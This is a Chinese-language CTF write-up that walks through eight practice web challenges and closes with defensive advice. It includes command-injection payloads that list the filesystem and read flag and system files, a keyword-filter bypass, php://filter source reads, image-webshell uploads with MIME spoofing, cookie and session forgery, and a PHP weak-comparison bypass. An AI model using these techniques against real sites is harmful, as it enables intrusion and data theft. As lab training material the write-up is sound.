1. 狗黑子的eval挑战解析
1.1 初始信息收集与目录扫描
面对这个CTF题目,我首先进行了基础的目录扫描。使用dirsearch工具扫描后,发现了两个关键文件:flag.php和shell.php。这种隐藏文件往往是解题的突破口。
在flag.php中,我们看到了一个有趣的提示:"tips:gouheizigouheizi=2gouheizi //不要勾八"。这种看似无意义的字符串通常需要结合上下文来理解。
1.2 代码分析与变量映射
查看源代码时发现了更重要的线索:"payload.php 狗黑子数数喜欢从1开始,不喜欢0"。访问payload.php后,我们看到了以下关键代码:
php复制//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
通过分析注释"gou=a,gougou=b",我们可以推导出变量映射规律:
- gou+数字对应字母表中的字母
- 1gou=a, 2gou=b,...,26gou=z
1.3 变量解码过程
按照这个规律,我们逐步解码各个变量:
- $gou1="12gou" → 12→l
- $gou2="22gou" → 22→v
- $gou3="15gou" → 15→o
- $gou4="5gou" → 5→e
- $gou5="16gou" → 16→p
- $gou6="gou" → 1→a
- $gou7="c3Rnbw==" → Base64解码为"stgo"
1.4 关键字符串拼接
最重要的部分是字符串拼接逻辑:
php复制$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$gou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
分解来看:
- $gou4.$gou2.$gou6.$gou1.$gou5.$gou3 → e+v+a+l+p+o → "evalpo"
- $gou7 → "stgo"
- 数字部分拼接 → "357808"
- 最终得到"evalpostgoubaizi"
1.5 命令执行与flag获取
识别出这是一个类似一句话木马的结构后,我们尝试命令执行:
bash复制goubaizi=system("ls / >index.php");
通过查找flag文件:
bash复制goubaizi=system("find / -name '*flag*' 2>/dev/null >index.php");
最终获取flag:
bash复制goubaizi=system("cat /etc/flag >index.php");
关键技巧:当直接执行无回显时,使用重定向输出到可访问的文件是常见解决方案。
2. 狗黑子的登录系统突破
2.1 初始登录尝试与目录扫描
面对登录页面,常规弱密码尝试失败后,使用dirsearch扫描发现了.git目录泄露。通过GitHack工具成功下载了网站源码。
2.2 源码分析与权限控制
分析index.php发现关键权限控制逻辑:
php复制if (isset($_POST['seclients_can_register'])) {
$registerValue = $_POST['seclients_can_register'];
if ($registerValue == 1) {
$_SESSION['show_register'] = true;
}
}
这是一个典型的权限控制漏洞,通过POST传递seclients_can_register=1可以开启注册功能。
2.3 文件上传漏洞利用
成功注册登录后,在admin.php中发现另一个关键参数:
php复制if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) {
$_SESSION['show_upload'] = true;
}
上传功能仅检查MIME类型和文件大小,我们可以:
- 准备图片马:合法图片内容+PHP代码
- 修改文件扩展名为.php
- 使用BurpSuite拦截修改上传请求
2.4 蚁剑连接与flag获取
上传成功后,通过蚁剑连接webshell,在根目录下找到flag.txt文件。
注意事项:现代CTF中,这种简单的文件上传漏洞通常会结合其他防护措施,需要综合多种技术突破。
3. ZGZH序列化挑战
3.1 初始界面分析
题目要求提交序列化用户信息,但缺乏类结构信息。通过目录扫描发现flag.php和pass.php。
3.2 密码验证绕过
pass.php的验证逻辑有五个条件,最关键的是:
php复制if ($password == 857) { // 弱类型比较
// 验证通过
}
利用PHP弱类型比较特性,可以输入"857.00E+0000"等科学计数法形式绕过。
3.3 flag获取
成功绕过所有验证后,直接返回flag:flag
经验分享:PHP弱类型比较是CTF常见考点,要熟悉各种绕过方式。
4. 老刘的小店经济系统漏洞
4.1 初始金币问题
商店中商品价格都高于初始金币,但查看源码发现前端验证限制:
html复制<input type="number" min="1" max="9" id="amount">
4.2 抓包修改转账金额
- 创建两个账号A和B
- 从A向B转账,拦截请求
- 修改amount为超大值
- B账号获得大量金币
4.3 购买特权与权限提升
用修改后的金币购买"老刘的秘密钥匙",获得管理员凭证。登录后发现命令执行接口:
php复制if (isset($_GET['id'])) {
$id=$_GET['id'];
if(preg_match("/ls|dir|flag|.../i",$id)) {
// 过滤
} else {
system($id);
}
}
使用转义字符绕过过滤:
code复制?id=c\at /f\lag
关键点:前端验证不可信,必须测试后端实际处理逻辑。
5. Squirtle论坛的多重漏洞
5.1 身份伪造漏洞
通过修改cookie将user改为master=Squirtle,成功访问admin.php。
5.2 文件上传与webshell
上传功能看似限制图片,但可以:
- 准备图片马
- 修改Content-Type为image/png
- 修改文件扩展名为.php
5.3 蚁剑连接
上传成功后,通过蚁剑连接获取flag。
安全建议:文件上传应检查文件内容而不仅是扩展名和MIME类型。
6. 狗黑子的舔狗日记信息收集
6.1 目录扫描发现
发现flag.php、源码文件和密码字典。flag.php提示需要女神微信号和密码。
6.2 密码破解
通过伪协议读取源码:
code复制php://filter/convert.base64-encode/resource=index.php
发现女神微信号nvshen,结合密码字典尝试nvshen345成功登录。
6.3 社交工程技巧
通过与系统交互发现女神名字"柳茹烟",计算MD5得到flag。
经验之谈:CTF中社交工程和信息收集同样重要。
7. 狗黑子的跳转上传漏洞
7.1 上传逻辑分析
上传功能核心代码:
php复制$base64Name = base64_encode($originalName);
$md5Name = md5($base64Name);
$filename = $md5Name . '.' . $ext;
上传的文件名会被转换为MD5值+原扩展名。
7.2 文件包含利用
通过参数gou实现文件包含:
code复制?gou=php://filter/convert.base64-encode/resource=ghzgouheizi.php
7.3 webshell部署
- 上传图片马
- 计算最终文件名:md5(base64(原文件名)).php
- 访问/uploads/目录下的webshell
技术要点:熟悉各种协议过滤的绕过方式和文件名生成算法。
8. polar快递垂直越权漏洞
8.1 备忘录信息分析
下载备忘录发现提示:
code复制普通用户:user/user123
管理员:admin/admin123
最高权限:root/root123
8.2 会话伪造
拦截登录请求,修改id参数从user到root,实现垂直越权。
8.3 敏感接口访问
以root身份访问polarroot.php获取flag。
安全启示:权限控制必须同时在前后端实施,不能依赖隐藏参数。
9. 综合经验与防御建议
通过这系列挑战,我总结了以下关键安全经验:
-
信息收集至关重要:
- 目录扫描是发现隐藏资源的首要步骤
- 源码泄露(.git, .svn等)可能直接暴露系统逻辑
- 开发者注释常包含重要线索
-
漏洞利用链思维:
- 单一漏洞可能不足以获取flag
- 需要组合多种技术(如信息收集+权限提升+命令执行)
- 注意漏洞间的依赖关系
-
PHP特性利用:
- 弱类型比较绕过
- 复杂变量解析逻辑
- 各种伪协议的使用
-
防御建议:
- 实施严格的前后端参数验证
- 避免暴露敏感信息和源码
- 使用白名单而非黑名单进行输入过滤
- 关键操作需要多重验证
在实际渗透测试中,这种系统可能只需要20-30分钟就能完全突破。关键在于建立系统的测试流程和敏锐的漏洞感知能力。